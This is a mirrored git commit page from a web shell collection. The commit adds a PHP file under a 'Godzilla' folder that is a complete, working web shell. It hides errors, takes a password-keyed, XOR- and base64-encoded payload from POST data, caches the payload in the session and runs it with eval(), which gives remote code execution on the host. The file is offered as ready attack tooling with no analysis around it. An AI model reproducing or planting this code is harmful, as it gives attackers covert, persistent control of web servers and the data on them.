mirror of
https://github.com/tennc/webshell
synced 2024-11-12 22:47:15 +00:00
Create 20220213_03.php
This commit is contained in:
parent
5f2e172790
commit
b9f06d9682
1 changed files with 31 additions and 0 deletions
31
Godzilla/20220213_03.php
Normal file
31
Godzilla/20220213_03.php
Normal file
|
@ -0,0 +1,31 @@
|
||||||
|
<?php
|
||||||
|
@session_start();
|
||||||
|
@set_time_limit(0);
|
||||||
|
@error_reporting(0);
|
||||||
|
function encode($D,$K){
|
||||||
|
for($i=0;$i<strlen($D);$i++) {
|
||||||
|
$c = $K[$i+1&15];
|
||||||
|
$D[$i] = $D[$i]^$c;
|
||||||
|
}
|
||||||
|
return $D;
|
||||||
|
}
|
||||||
|
$pass='pass';
|
||||||
|
$payloadName='payload';
|
||||||
|
$key='3c6e0b8a9c15224a';
|
||||||
|
if (isset($_POST[$pass])){
|
||||||
|
$data=encode(base64_decode($_POST[$pass]),$key);
|
||||||
|
if (isset($_SESSION[$payloadName])){
|
||||||
|
$payload=encode($_SESSION[$payloadName],$key);
|
||||||
|
if (strpos($payload,"getBasicsInfo")===false){
|
||||||
|
$payload=encode($payload,$key);
|
||||||
|
}
|
||||||
|
eval($payload);
|
||||||
|
echo substr(md5($pass.$key),0,16);
|
||||||
|
echo base64_encode(encode(@run($data),$key));
|
||||||
|
echo substr(md5($pass.$key),16);
|
||||||
|
}else{
|
||||||
|
if (strpos($data,"getBasicsInfo")!==false){
|
||||||
|
$_SESSION[$payloadName]=encode($data,$key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in a new issue